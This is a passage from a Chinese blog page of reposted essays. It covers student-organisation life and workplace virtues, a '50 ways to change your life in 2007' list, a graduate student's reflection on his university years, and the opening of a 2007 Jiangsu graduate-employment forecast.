  学生会:作为一个执行者,深刻的体会,学校学院的一个决定,一个制度,不是个人可以左右的。往往学校与学院的政策和学生的利益是冲突的。做人不做事更加的重要,事情的好坏取决与人。社会很多时候是黑暗的,不过这种黑暗的存在,是正常的,也是可以了解的,我们不能改变这个社会,所以只能适应这个社会,学生会也是一样。
  社团部长:任务太多,资源太少。要求太高,帮助太少。付出太多,收获太少。社团部长常常会有有些部长工作,有些部长挂名。缺乏经验,帮助与指导太少,难以树立榜样,难以取得威信,干事不听话,会员有意见。

  四、主席与会长:
  主席:平衡最重要,作为一个主席,考虑的是如何去平衡各方的利益,老师之间的利益,学校与学生之间的利益,学生会内部的利益,有的时候会被架空,有的时候干部会不干活。学生会并不是主席决定一切的,老师才是董事长。作为一个主席,很多时候难以推动学生会的改革。

  会长:巧妇难为无米之炊,大学做社团,是“无米之炊”,要资金没有资金,要资源没有资源,连活动场地都缺乏,很多时候要自己出钱为协会工作,为协会付出精力,时间与金钱。策划的很多活动因为老师不批,赞助商缺乏,甚至没有场地,会员不参与而失败。


  结语:学生干部,没有工资,而且需要付出很多的时间与精力,而且很多的时候,事情的决定权并不取决与他们。所以大部分的学生组织干部都不应该批评。 

  批判了这么多学生组织后,为什么还要在学生组织工作呢?在学生组织工作,就是像在进入政府机构和企业做实习生一样,因为在学生组织里面,如果你用心去体验,你可以体会到很东西,学习到很多东西,感悟到很多书本上课堂上无法给与的东西。

  世界500强的员工准则与学生组织成员

  1、敬业精神:
  一个人的工作是他生存的基本权利,有没有权利在这个世界上生存,看他能不能认真地对待工作。能力不是主要的,能力差一点,只要有敬业精神,能力会提高的。如果一个人的本职工作做不好,应付工作,最终失去的是信誉,再找别的工作、做其他事情都没有可信度。如果认真做好一个工作,往往还有更好的、更重要的工作等着你去做。这就是良性发展。

  在学生组织也是,在学生组织没有工资,回报也不会有很多,这个方面更加能体验一个人的敬业精神,如果一个人可以义无反顾的在学生组织无怨无悔的工作2-3年,那么他的敬业精神肯定得到肯定。这也是企业对学生干部有优先选拔的原因之一。

  2、忠诚:
  忠诚建立信任,忠诚建立亲密。只有忠诚的人,周围的人才会接近你。企业在招聘员工的时候,绝对不会去招聘一个不忠诚的人;客户购买商品或服务的时候,绝对不会把钱交给一个不忠诚的人;与人共事的时候,也没有人愿意跟一个不忠诚的人合作。

  对于学生组织来说,因为本身不是公权力非常大的组织,这个时候更加体验学生对与组织的忠诚度,这种忠诚度,是企业看重的,作为第一选择来的。我认为无论身在那个组织,就应该忠诚与那个组织,思考你可以为这个组织做些什么,而不是要求组织可以给与你什么?

  3、良好的人际关系:
  良好的人际关系会成为你这一生中最珍贵的资产,在必要的时候,会对你产生巨大的帮助,就像银行存款一样,时不时地少量地存,积少成多,有急需时便可派上用场。难怪美国石油大王洛克菲勒说:“我愿意付出比天底下得到其他本领更大的代价来获取与人相处的本领。”

  学生组织里面,少不了的沟通与合作,少不了联谊与交流,这些都是可以开拓人际关系,并且锻炼自己的人际关系的地方。在这里可以提早感受,社会上的人际关系,不单单是精神,更多的是物质上的交流。

  4、团队精神:
  在知识经济时代,单打独斗的时代已经过去,竞争已不再是单独的个体之间的斗争,而是团队与团队的竞争、组织与组织的竞争,许许多多困难的克服和挫折的平复,都不能仅凭一个人的勇敢和力量,而必须依靠整个团队。作为一个独立的员工,必须与公司制定的长期计划保持步调一致。员工需要关注其终身的努力方向,如提高自身及同事的能力,这就是团队精神的具体表现。

  学生组织的工作与生活,都是以团队为基准的,在学生组织里面,你可以体验一下团队精神,另外也可以体验一下,个人英雄主义对比现在的团队运作,个人英雄主义已经不适应这个社会了。

  5、自动自发地工作:
  充分了解工作的意义和目的,了解公司战略意图和上司的想法,了解作为一个组织成员应有的精神和态度,了解自己的工作与其他同事工作的关系,并时刻注意环境的变化,自动自发地工作,而不是当一个木偶式的员工!

  学生组织没有报酬,没有很大的公权力,更多的是希望学生干部可以自动自发的工作,如果你是主席,你会喜欢自动自发的人,同样道理企业老板也会喜欢,所以在学生组织,你可以体验一下企业需要什么样的人。

  6、注重细节,追求完美:
  每个人都要用搞艺术的态度来开展工作,要把自己所做的工作看成一件艺术品,对自己的工作精雕细刻。只有这样,你的工作才是一件优秀的艺术品,也才能经得起人们细心地观赏和品味。注重细节,追求完美,细节体现艺术,也只有细节的表现力最强。

  学生组织很多活动的失败,不是在大的方面,而是往往在生活和工作中的小细节,在学生会你必须非常注意你的言行,而在协会你更多的需要细心去关注每个人的感受,在学生组织可以养成你注意细节的习惯。

  7、不找任何借口:
  不管遭遇什么样的环境,都必须学会对自己的一切行为负责!属于自己的事情就应该千方百计地把它做好。只要你还是企业里的一员,就应该不找任何借口,投入自己的忠诚和责任心。将身心彻底地融入企业,尽职尽责,处处为自己所在的企业着想。

  学习太忙,作业太多,工作太多,路程太远。都是别人的错,在学生组织工作的过程中,开始我们都会为自己去找借口,但是你会发现慢慢的发现很多人不喜欢别人找借口,同样企业也不想员工每天找借口。

  8、具有较强的执行力:
  具有较强的执行力的人在每一个阶段,每一个环节都力求卓越,切实执行。具有较强的执行力的人就是能把事情做成,并且做到他自己认为最好结果的人。具有较强的执行力的人随时随地都想着企业的顾客,了解了顾客的需求后,并乐于思考如何让产品更贴近并帮助顾客。

  学生干部就是一个执行者,你不需要问太多的为什么,你只需要无条件的执行,及时的反馈。这种在学生组织养成的执行习惯(大部分学生组织的执行非常的差),学生组织不喜欢只会说话,不会执行的人,同样道理企业也不喜欢。

  9、找方法提高工作效率:
遇到问题就自己想办法去解决,碰到困难就自己想办法去克服,找方法提高工作效率。在企业里,没有任何一件事情



2007年50种方式将改变你生活

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=97680

  2007年就要到来了,在新的一年里,如果有一种全新的生活方式你可以去尝试的话,你会不会说“我愿意”?如果你想在新的一年里获得健康、财富、幸福和快乐的话,你知道怎么去做吗?在这个高度发展的资讯化时代,我们每个人都有机会成为天才,我们每个人的生活都将在未来的每一天发生巨大的变化——只要你愿意。最新一期《美国新闻与世界报道》的封面文章《改变你生活的50种方式》,告诉你如何在2007年完成“七十二变”。

  身体是本钱

  1、开心一点更长寿

  众所周知,快乐的人更加长寿。心理学家的最新研究则表明,快乐并不是与生俱来的,快乐是一门可以学习得到的技巧。2006年,哈佛大学的本·沙哈尔开设了“如何获得快乐”的课程,成为该校最受欢迎的课程。究竟怎样才能快乐?本·沙哈尔提出了“六点秘诀”:

  第一,拥抱失败和挫折。人们总是要面对恐惧、悲伤、焦虑等各种或积极或负面的情绪,但抵制自己的情绪会导致挫败感,或者让人不快乐。

  第二,快乐需要意义。无论在工作中还是生活中,人们所参与的活动最好既愉快又有意义。如果这一点难以实现,一定要帮助自己寻找一些这样“鱼和熊掌兼得”的“快乐推进器”。

  第三,头脑说了算。要记住一点,快乐与否在大多数情况下取决于人们的主观意识。比如,人们将失败视为灾难还是一次学习的机会,态度不同,心情自然也不同。

  第四,越简单越好。人们往往希望在越来越短的时间里完成越来越多的事务,却忽视了“数量会影响品质”,人们可能会因参与过多而牺牲掉自己的快乐。

  第五,身体也重要。不要忘记一点,身心需要和谐发展,因而坚持锻链、充足睡眠、健康饮食习惯都会对身体和精神健康大有裨益。

  第六,感激要说出来。人们总是拥有太多“理所当然”。事实上,学会欣赏和感激生活中美好的事物相当重要——不论是人还是事,是美丽景色还是一个微笑。

  2、在最短的时间内让自己出汗。3、扔掉那些不合脚的鞋子,不要为了漂亮而让脚受伤。4、尽量在家里吃饭。因为快餐食品内的必备物质“反式脂肪酸”对人体健康是一个威胁。5、多喝白茶。研究表明,喝白茶能使人体免疫细胞的干扰素分泌量增加5倍。白茶预防癌症的作用比其他茶的作用强。6。多做检查,预防糖尿病。目前全球大约有2。3亿人患2型糖尿病,约占全球成年人口的6%。7。小心爱护你的隐形眼镜。

  提高你的智慧

  8。订一本可改变生活的书。今天,“改进自我”已经成了全世界的共同语言,成了一种生活时尚。仅仅在美国亚马逊网上书店,就有7500多本有关这个话题的书籍在销售。这些书籍的一个共同点就是,帮助人们了解自己,并通过努力改变生活中的种种坏习惯,帮助人们走出进退两难的困境。9。参加一个读书俱乐部。那是一个陶冶情操、感受文化熏陶的场所,一个交流读书心得的平台。10。学会一种乐器。音乐是天使的语言,它最容易触动我们的心灵,带给我们至美的享受。音乐是高尚的艺术形式,它可以陶冶情操、交流情感,为生活增添魅力。

  11。每个星期都让自己有一天远离高科技的东西。据一项最新的调查发现,正是那些津津乐道的高科技产品害了大家,众多新技术产品使人变得效率低下、神情紧张,而宝贵的时间、管理的能力却被抛到了九霄云外。针对这种情况,一专家建议说,人们每天的工作应该从计划开始,而不是从电子邮件开始。人们应该尽量让自己能够保持宁静的心态,因为只有这样,小鸟才会重新开始歌唱,生活才能重新变得快活。12。学习阿拉伯语。13。写博客。通过博客可以逼着自己写东西,可以整理自己的思想,可以锤炼自己的语言,可以结交许多陌生的朋友,可以增强自己的时间意识,可以学到许多东西。

  14。管理好自己的域名。拥有自己独立域名的好处很多:容易搜寻;容易记忆;独立性;可信度更高;方便输入;不会被别人抢注;成本低廉;拥有自己公司的Email信箱。15。观测一下夜空。正如我们需要了解海洋一样,我们也要了解太空。我们可以使用望远镜观测夜空中的这些比较明亮的天体。16。学会拍摄出品质更好的照片。

  改善家庭生活

  17。尝试做个好父母。

父母对子女的养育并不是本能的。“做人就是做父母”,做个好父母要先做好人。或者可以这样说,教育孩子就是教育自己,只有自身素质提高了,才有资格教育孩子,让自己和孩子一同成长。18。记录下家里的食谱。这会给你留下一段温暖的回忆。19。让你的孩子有更多的时间练习驾驶。孩子驾车已经成为父母最为揪心的一件事情,特别是在车祸已经成为第一号杀手的今天。对此,也许只有一个办法:青少年练习驾驶的时间越多,变成“马路杀手”的可能性就越小。20。为你的孩子读大学储钱吧。21。好好对待你的婚姻。美国婚姻专家约翰·哥德曼认为:“预测一对夫妇是否会离婚的最简单因素是蔑视。”因为蔑视已经超出了批评或者辱骂的范围。

  22。让你的孩子随队训练前要再三考量。现在很多有体育天赋的孩子在很小的时候就开始随队训练。但是要考虑清楚,你的孩子是否能够通过试验。如果被削下来怎么办?即使通过了,有没有做好长期坐冷板凳的准备,毕竟能够出头的并不多。23。关上电视。24。驾车出游,但是不要带上DVD播放器。

  “服侍”好房子

  25。从家务中解放出来。26。找一家信誉好的家政公司。27。把房子装修得更合你心意。28。在卖掉房子之前先简单装修一下。这样子花不了多少钱,却能让你的房子看上去更漂亮。这既能吸引买家,也能卖出一个更好的价钱。29。在更加内陆的地方安家。由于全球变暖,气候越来越异常。还记得去年新奥尔良遭水淹的境况了吗?看来内陆地区比沿海地区更适合安家。30。升级你们家的真空吸尘器。31。给每间房挂上一幅油画。协助社区建设。32。帮助灾区重建。33。参与投票。34。帮助搞好附近的公园。那是你和邻居娱乐、交流的地方。35。关心军队36。旅游在外,对当地人要友好。37。学习一点宗教的知识。38。向难民伸出援手。39。向学校捐助书籍。40。为你孩子的运动队担当义务教练。

  为地球尽分力

  41。做个环保的人。42。率先使用植物柴油。43。让别人坐你的顺风车。44。尽量使用低排量的座驾。45。把吹落叶机扔掉。一台吹落叶机所排放的污染物相当于80辆轿车的排放量。打扫落叶是个锻链身体的好机会,可以让你精神振作,同时也可以省下一笔钱。46。多阅读一些指导性的书籍。47。支援本地农民。多购买本地农民生产的东西,这样你可以获得新鲜的食物、也得到一个更加干净的地球。48。关掉你的干衣机。干衣机是家里最耗电的电器之一。除非是非常潮湿的地方,还是拉一条晾衣绳吧。而且阳光可以杀菌,更加卫生。

  49。在它融化之前,到有冰川的地方看看。NASA资助的一科研小组近日发布警告称,地球北极冰川的融化速度正在不断加快。如果人类对于温室气体的排放量不认真加以控制,北极冰川2040年前后将会全部融化,化成一片寒冷的汪洋大海。

  50。减肥吧。这可以节省很多能源。美国伊利诺斯大学谢尔顿·贾克森教授最近发表的一份研究报告称,由于胖子越来越多,美国交通因此每年要多耗掉10亿加仑的汽油。


大学经历

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=37602

  古今之成大事业、大学问者,必经过三种之境界:‘昨夜西风凋碧树。独上高楼,望尽天涯路’。此第一境也。‘衣带渐宽终不悔,为伊消得人憔悴。’此第二境也。‘众里寻他千百度,蓦然回首,那人却在灯火阑珊处’。此第三境也。

  以前每次看到王国维的三境界,都有一种酷的感觉。虽然能够口若悬河的将其背出来,然而却不能深味其中的内涵。正是“少年不识愁滋味,为赋新词强说愁。而今识尽愁滋味,却道天凉好个秋”。仅仅从今晚22点开始,我才开始有一种感觉到,我也许应当独上高楼,望一望天涯路了。 2005年9月28日晚10点,隔壁同学告诉我他收到了Microsoft的电话面试,并告知了一些In terview的具体信息。听过之后,我忽然有一种失落感,也许是长久以来的自负心理在作怪,才让我产生了这种混杂着对工作的惆怅和担忧的失落感,也许在很多方面我真的错了,我必须对自己进行一些大的变革,我要Re-invent我自己。 因此,我准备做出我上大学以来对为严肃也对有挑战性和深刻意义的决定——放弃对R&D的追求,而将我的精力投入到我的爱好和兴趣的所在,从而使自己的能量相对更加集中于一些较为核心的事业中去,并持之以恒地不断追求下去,最终成就一番的事业和目标。

  我想,我应当对大学的生活作一些思考和总结:
  1、 我的大学——思想、追求和目标
  2、 我现阶段的状况分析 a) 我的优势所在 b) 我的主要的缺点分析
  3、 我应当做出的转变

  (一)我的大学——思想、追求和目标
  
  “不识庐山真面目,只缘身在此山中” ——苏轼《题西林壁》

  仅仅当我马上就要走出大学校门的时候,蓦然回首,我才对我的大学生活有了更加深刻的理解和认识。我的追求和目标总是不断变化的,随着我对社会和环境认识的变化、我自身知识的增长以及各方面见闻的积累而不断变化。从初中时的买一辆摩托车到后来的买一辆轿车再到后来高中后的成为一名亿万富翁并建立一所大学,我的理想不断的增长和丰富化,我也随着对目标的不懈追求进入了哈尔滨工业大学。

  在大学开始的几年里,我一度有出国的念头,并在周围环境的影响下产生了对计算机的特殊感情。这两种因素综合起来主导了我大学所学的知识体系结构:也就是我有相对较强的计算机编程能力和英语能力。此外,高中时由同学介绍的粗浅的商业知识和新闻,也潜在的引发了我对Business的特殊感情,这也直接或者间接的引导我旁听了管理学院的经济学、企业管理学的大部分基础课程。虽然我对诸如金融市场学、计量经济学等牵涉到大量数学公式的学科还认识不足,我却可以轻松得阅读、分析经济类报纸上的大部分新闻、评论。也就是说,计算机、英语、商务知识构成了我大学所学知识的三大板块,也是我未来前进的基石。

  “恰同学少年,风华正茂,书生意气,挥斥方遒。指点江山,激扬文字,粪土当年万户侯 ” ———毛泽东《沁园春•长沙》

  在思想方面,由于上大学之后对大学生活的暂时的不适应,导致我在大学一、二年级思想的偏激和狭隘。由于所在的实验学院都是各个地区的学习尖子,因此每个人都相较于其他学院的学生有更加鲜明的个性。我作为我们高考的第二名,当然也毫不例外得带着一种自我倾向严重的偏激,并对其他同学无选择的加之抨击和评论。这也就难免会经常发生我一个人在宿舍里舌战群雄的状况。更加严重的是,由于我们寝室对金庸小说的共同爱好,以及我对金庸小说中某些人物的崇拜而加深了这种倾向。我一度认为自己就像东邪黄药师一样武功高强而睥睨天下,因此也在现实生活中一意孤行的宣传我的价值取向并为自己的这种特立独行暗自高兴。(然而,我后来才发现,如果这样发展下去,自己只能站在一个与众人独立的立场上,并加深与同学们之间的紧张关系。)

  这样的生活一直伴随我度过了大学的前三个学年。当然,我在这三个学年里也硕果累累,获得了成堆的奖励和证书,也使自己的能力得到了质的提升。感谢实验学院老师和同学的帮助。

  大三GRE考试又一次使我的人生发生了转折,由于GRE考试的失误,我的出国留学们破灭了。我不得不对自己进行一些Reform. 那就是使自己的眼光放眼国内。中国的飞速发展使我看到了光明和希望。我开始将目标定位于在国内进行创业。虽然这种热情带着一种初生牛犊不怕虎的盲目的冲动,但这种冲动却支撑我走过了大肆和研一的两年时光,帮助我学习了丰富的商业理论知识、也引导我对国内的商业状况进行了深入的思考和分析。 怎样创业?最终,我对中国的社会和商业状况有了更加真实和现实的认识:创业不仅仅需要科学知识和激情、而是机遇、市场、人脉和知识的结合体。如果仅凭一腔热血,是很难成就一番事业的,特别是在中国这个讲求人脉、关系、背景,儒家文化根深蒂固的社会。世界经理人网站上的一篇文章分析得很好:“如果在亚洲做生意失败都是因为人的因素”。

  “有心栽花花不发,无心插柳柳成荫。” GRE的失败间接地导致了我对商业知识的学习,对商业环境的认识及对创业和财富的强烈向往。在大肆的一年中我旁听了管理学院的多门课程、学习了商业计划书的写作,囫囵吞枣地阅读了各种经济学和管理类书籍,参加或者观看了各种讲座和视频,并引发了一些思想转变。

  “上善若水。水利万物而不争,处众人之所恶,故几于道。” ——《老子》

  《象》曰:地势坤,君子以厚德载物。 ——《易经•坤卦》

  从大学四年级开始,我开始认识到朋友及人际关系的重要性,并认识到了自身的一些重要缺点。那就是太争强好胜,太爱辩论,总是以自己的价值观评论或者指责别人。这是我大学最初的三年没能处理好人际关系的直接原因。因此,从大肆开始我更加注重人际交往,以及学习进行换位思考。“横看成岭侧成峰,远近高低各不同”当你学会从别人的角度观察问题的时候,当你更加谦虚地面对别人的时候,你才能真正地了解一个人,并消除误会,加深认识。

  在大肆期间,我加入了研究生总会并结交了研究生总会主席葛健等一大批朋友,从而使自己从一名孤独剑客转变成了一个较受欢迎的公众人物。在这一年里,我使自己的知名度大大提高并逐渐增强了自己骄傲自负的缺点。这种自大的缺点一直伴随我到现在,直到前几日,我还在跳交谊舞时对我的舞伴夸耀说“我是伟大的***!”想来真是惭愧! 只有当你以一种更加谦逊和倾听的态度却接受别人,并以一种慷慨大方和真诚的态度去结交一个认识,你才能成为他的朋友。

  暑假期间,我到了广州海瀚网络科技公司,在那里,我认识了一大堆朋友,我和他们玩星际争霸,和他们聊天,和他们吹牛,和他们聊一些“共同的话题”。我和公司的董事长、总经理进行沟通,并在公司里面发表演讲…通过在广州的学习和经历,我对社会对自己有了更加深入的认识,这也为我在研究生期间搞电子商务作了铺垫。

  研究生的伟大目标

  2004年,我被顺利保送攻读硕士研究生。我为研究生期间立下了两个宏伟的目标: 1、 找到自己心爱的Baby 2、 建立一家公司。这听起来好像有些不可思议:在哈工大这个男女比例7:1的工科院校也想找到一个美眉? 凭什么一个学生能够建立一个公司? 然而我还是开始时是我的计划了:

  “合抱之木,生于毫末;九层之台,起于累土;千里之行,始于足下。” ——《荀子》 我首先开始实施第一个项目。不管三七二十一,我先对工大的一名漂亮美眉发起了秋季攻势,我让自己集中精力干这件事情,甚至于我夸张的在每天晚上睡觉之前都要高喊三声“我爱***!”这总是因为我们寝室同学的哄笑,但也让我感到增添了自己的激情。然而我还是不可逆转的失败了,个中缘由不便细说。大厦之将倾,蚍蜉之力若奈何?

  “上九:亢龙,有悔” ——《易经•乾卦》 在接下来的几个星期内,我又接连遭遇了更多的Fiasco. 我参与竞选研究生总会主席,由于各人对形势过于乐观的估计及自负的预测,导致了对竞选状况判断的失误,也就结束了我在研究生总会的工作。“福兮祸之所倚,祸兮福之所伏”,物极必反,否极泰来,做任何事都要有一个度,过分的强盛总会导致更大的磨难。直到如今,每每想起此时,我都感叹愧疚不已。然而失败并没有随此而结束,在接下来的宝洁(P&G)招聘中,我欲申请实习生职位。然而不知是由于价值取向的原因,还是能力的不足,我在第一轮面试就被踹回来了。可能与我问了一个低级的问题有关,我问了招聘的Madam, P&G是什么意思?(愚蠢啊 …)

  “入则无法家拂士,出则无敌国外患者,国恒亡。 然后知死于忧患,死于安乐。 ” ——《孟子二章》
  当我经历了这些Defeats的时候,我才发现我已经负债累累了。在前述的一系列活动中,我不但花光了学校的补助,也将父母额外寄来的生活费(惭愧)一扫而光,我的所有存款一度达到了创纪录的两毛钱。

  人也许只有在最困苦的时候才能激发自己的思维能力和创造力。这就开始了我研究生阶段的第二个项目,创建一家自己的公司,赚一些钱,补贴家用。(我姑且称之为公司吧,因为我按照公司的建制来建立它,虽然它不是一个真正意义上的公司)。 通过自认为深入的思考和分析,我乐观地对校内的电子商务状况做出了估计,并着手撰写了《关于建立哈尔滨工业大学二手交易服务网的商业计划》,并将其发布到了哈工大紫丁香http://bbs.hit.edu.cn/,校内同学反映热烈,我的计划也得到了航天学院及研究生院领导和老师的重视,特别是航天学院王宏书记和马峰老师给与我了大力的实质性的支持。在他们的支持下,我建立了甩宝咨询服务网并在周围同学的帮助下开始运营。

  E-Commerce的本质是什么? 电子商务也许就是这样,当你不明白其中的奥妙是,你看到的仅仅是它华丽的外表和似乎灿烂无比的钱途,只有当你切身加入这个行业时,才能切身体体味其中的艰辛与曲折。从我个人的认识来看,要做好电子商务,需要以下几个条件: 1) 大量的宣传和广告投入据我所知,淘宝为了实现自己的地位,曾经投入3.6亿元到广告上。只有有了广告,才能聚集人气,然后才有交易。 2) 电子商务需要便捷的网络基础设施这对于一个真正的商业网站来说,也许是一个很容易解决的问题,但是对于一个校园中的 C2C网站来说,却不是很容易解决。 3) 诚信和支付体系的建立进行E-Business的一个重要的内容就是为人们提供便利,如果没有便利的支付和诚信体系,人们不会冒风险来进行电子交易的。针对这三个方面,由于学校支持资金的有限,以及哈工大网络中心IP地址的匮乏,我们不但没能进行持续的广告宣传,也没能建立起来足够便利的网络基础设施。(我曾经制作了精美的广告和弟兄们起大早张贴于校园的公告栏里,没想到不到一个小时的时间就被人撕去。可恶的人们啊!)另一个方面,由于势单力孤,我们也没能建立有效的支付和交易体系,我的“公司”也无可辩驳的彻底失败了。

  “塞翁失马,焉知非福?亡羊补牢,为时未晚!” 也就是说,在研究生一年级的第一个学期,我对所设立的两个目标都进行了尝试,并且都惨淡地失败了。然而,我也学到了无比丰富的经验和教训: 1、 永远不要盲目的追求一个女孩,除非你了解她也了解你自己,并认为这是一个相互匹配的较为优化的组合,否则的话,等待自己的可能是痛苦的失败和煎熬。 2、 深入一个行业之前,不仅仅需要激情,还需要一些例行的对市场的调研和分析、比较、预测,以及一些资金的预算、人员的安排、时间的安排等等。 3、 永远不要孤军奋战,找到自己的Allies或朋友,他们的Ideas和精神的鼓励可以帮助你战胜很多的困难。感谢支持我的哈工大的兄弟和老师们。

   “将欲歙之,必固张之;将欲弱之,必固强之;将欲废之,必固兴之;将欲夺之,必固与之。是谓微明,柔弱胜刚强。” ——《老子》
  关于读博的思考在研一的上半年,我放弃了硕博连读的机会,因为我越来越发现,我有较强的逻辑思维能力和分析能力,而对于计算性很强的数学理论却深感头疼。因此,我能够编写出逻辑复杂的C语言程序,却对充满Fourier变换和Wavelet变换的数字信号处理只是束手无策。我很善于策划一件事情,分析并推理事情的发展,并充满激情地去执行它,却对在实验室里推导数学公式有一种发自内心的恐惧和排斥。

  博士——独步天下的剑客? 我认为,要成为一名成功的博士,就必须有踏踏实实做学问,兢兢业业搞科研的钻劲和毅力。而我却缺乏对学术理论的追求和热情。我心中更多得充满了对商业世界的憧憬和向往。在我的心目中,博士一个应当是一个行业中的“独孤求败”,他们有着无可匹敌的上乘武功。起码在学校中,应当能够重学术,轻名利;刻苦钻研,心无旁骛。如果仅仅报着那一张文凭的思想,除非有好的背景,否则最终的结果将是虚度了人生最有创造性和最灿烂的年华在校园这个温馨的怀抱中。“让暴风雨来得更猛烈些吧!”——高尔基《海燕》 因此,我宁愿更早地进入江湖,在这个更为复杂的环境中锻炼我的能力,砥砺我的意志,我一定要让我自己的“光辉岁月”燃烧的灿烂一点,充实一点,而非蹉跎于轻松的校园生活中。

  "We hold these truths to be self-evident, that all men are created equal, that they are endowed by their Creator with certain unalienable Rights, that among these are Life, Liberty and the Pursuit of Happiness." Declaration of Independence, written by Thomas Jefferson in 1776, 老天是公平的!也许是老天眷顾我,2005年春节,我终于在我们的一个班级聚会上认识了一个看起来天真可爱的叫翠翠的姑娘。在后来的日子里,从2005年2月14日,我接到她的第一个短信起,我用我的短信攻势拿下了这个心灵的堡垒。 然而我还是低估了这个看起来天真可爱的姑娘,虽然表面上她看起来很天真,但现实中她是一个有思想,有气质的女孩,每每给我提出一些建议,让我的老脸拉得老长,一点也不给我这个自负的家伙留一点面子,让我又爱又恨!然而也就是这个姑娘,让我加深了对自己的认识,并逐渐变得成熟和沉稳起来。她是使我长大的女孩。就在前天,她还在说我太自负,我虽然非常生气,但也知道这是自己的一个Fatal缺点,并准备洗心革面,逐渐加以改正。

  “雄关漫道真如铁,而今迈步从头越。”——毛泽东 在研一的第二学期,我接受实验室老师的委派,编写了一个远程监控软件。此外我还作为领队,带领哈工大控制科学工程系的四名师弟参加了2005年全国机器人大赛。在项目的参与过程中,我到上海广茂达伙伴机器人公司参加了培训,并认识了形形色色的人,包括出色的只有大专学历的软件工程师、做市场的上海交通大学的博士,以及研发经理等等。通过这些对比,我觉得我理想中的未来工作并不是做一名出色的软件工程师,而是应该发挥我自身的优势,找到技术与市场的契合点。也就是说综合利用我在计算机、英语和商务方面的知识,并以之找到最合适我的Niche.

  “昨夜西风凋碧树。独上高楼,望尽天涯路” 我的天涯路是什么?我想,我追求的目标应当更加偏向市场,或者说是与技术相关的市场类工作,并在其中做策划类工作。 我的导师——哈尔滨工业大学航天学院副院长、哈工大工业技术研究院院长、控制科学与惯性技术研究中心主任——曾严厉得教导我,一定要踏踏实实地从底层干起,最终有一番成就。 因此,我希望我能够踏踏实实地在市场中摸爬滚打一番,对中国乃至世界的相关市场或者产业有一定的了解,并熟悉了解某个具体的产业,然后持之以恒的位置奋斗。

  2、我现阶段的状况分析

  “所谓君子者,言必忠信心不忌,仁义在身色不伐,思虑通明辞不专,笃行信道,自强不息” ——唐 赵蕤《反经》

  2.1我个人的优势所在
  
  在哈工大的学习,虽然没能把我培养一个绝世无双的超级剑客,但也让我结识了一批武林高手,并也从他们每个人吸取了一定的招式。 “看一个人的底牌,就要看他身边的朋友!” 我很庆幸我自己能够结识这样一批优秀的朋友,我的招式何在? 1) 我有较强的计算机操作能力和编程能力感谢实验学院给我接触各个专业的优秀人才的机会,我为自己能够和他们在同一个课堂里面学习而庆幸,也为能够和一些编程大牛探讨问题而自豪。 2) 我有还能说得过去的英语能力虽说在GRE考试中没能考出好成绩,但却给我的英语打下了坚实的基础。使我还能够轻松得阅读、写作英文资料。 3) 一些基础的商业知识通过偷学哈工大管理学院的武功,虽然不能亲自得到高手指点,但是也能够一窥少林七十二绝技,并从中学到了一招半式,并至今受用无穷。 4) 慷慨大方的性格虽然说我在有些时候还带着孩子般的天真,但是这种爽朗和真诚却帮助我结交了一大堆朋友。无怪乎世界经理人网站http://www.icxo.com将慷慨作为交友的第一大要诀! 5) 也许能够组织一个团队?虽说距离成为一名优秀的领导者或者协调者还有很远的距离,但我自信自己还有一点组织才能,有时候也擅长用煽动性的语言去鼓动一个人甚至一群人,我也很为这个而自豪!但我也愿意成为一个团队中的一个分子,和大家一起去打拼! 也许这些并不能算做自己的优势,而仅仅能够算做自己应当掌握的,因为还有更多的东西等着我去学习!

  2.2 我的主要缺点分析

  1)也许最大的缺点就是太自负了 虽然很多人不愿跟我说我的缺点,但我的宝贝确曾多次告诫过我,自负是我最Fatal的缺点,我也深深的知道这是我在好多方面没有做好的原因。“江山易改,本性难移”,虽然我深知自己的缺点,但却在有些时候于不经意间透露出自己的自负和骄傲。难道我也要在晚上高呼三声“不要自负!”? 2)不够沉稳 “不管风吹浪打,胜似闲庭信步,今日得宽余。” ——毛泽东 《水调歌头•游泳》 一个人沉稳的表现不是在风平浪静的时候,而是在大风大浪面前仍然能够沉着应对。 “闲看庭前花开花落,漫随天外云卷云舒”,面对问题、分析问题、解决问题,才是真英雄。而我却在一些关键时刻,不够沉稳,不够Calm!惭愧! 3)缺乏对社会的认识 I don’t like work——no man does——but I like what is in work: the chance to find yourself. Your own reality——for yourself, not for others——what no ot her man ever know. John.D.Rockfeller’s letters (石油大王洛克菲勒给儿子的信) 就像我的导师对我的告诫一样,我的很多想法都还很天真,只有踏踏实实地从头干起,认识社会、了解社会才能够真正成长为一个成熟的、成功的商人!

  3、我要进行的转变

  “So, first of all, let me assert my firm belief that the only thing we have t o fear is fear itself—nameless, unreasoning, unjustified terror which paralyz es needed efforts to convert retreat into advance.” First Inaugural Address of Theodore Roosevelt (罗斯福的第一次就职演说) 只要有变革的勇气和毅力,我就应当不断地改变自己,Re-invent myself,向社会,向朋友,向敌人学习,让自己不断进步。没有最好,只有更好!

  4、 结语

  “路漫漫其修远兮,吾将上下而求索!” ——《离骚》 这就是我在迷茫中对大学生活的思考,一方面是对自己五年学习的总结,另一方面也是对10月之后找工作提供一定的指导。同时,我也希望我的经历能够在和我一样为工作而迷茫的兄弟、姐妹们当中引起共鸣。

posted @ 2007-03-04 11:36 MEYE 阅读(2544) | 评论 (2)编辑 收藏
专家分析07年就业走势

文章来源:http://www.kaifulee.com/modules/bbs/viewthread.php?tid=94727


  专家析07年就业走势:经济类毕业生可能过剩


  18日起,2007届毕业生招聘大会即将全面拉开大幕。据最新数据,我省2007年毕业生总数达35.5万人,比去年的28.7万人猛增了24%。记者昨天专访了江苏省人才市场、江苏省招生就业指导服务中心、南京市就业办的诸多毕业生就业工作负责人,他们通过详尽的材料分析,对工程技术、文哲史和纯理科、经济及法学、医学、艺术这五大类毕业生就业形势进行分类评估,并预测今年不同岗位的供求匹配度,同时针对各类学生的专业特点和岗位供应情况,提出了在招聘大集上的应聘建议。


工程技术类:人才缺口达6万


[代表专业]机械制造、工艺、自动化、材料、IT、通讯、信息工程等


[岗位供求]根据2006年毕业生人数统计,工程技术类毕业生为11.68万人,今年预计这类毕业生人数有14万人。根据江苏产业结构需求来看,各层次的这类专业人才需求约20万人,即使这类毕业生全部可用,缺口仍高达6万人。据悉,因场地等原因,在即将到来的招聘大集上关于工程技术类毕业生只有约1.6万个有效岗位,但校园等其他渠道的招聘活动仍会吸纳大部分毕业生。


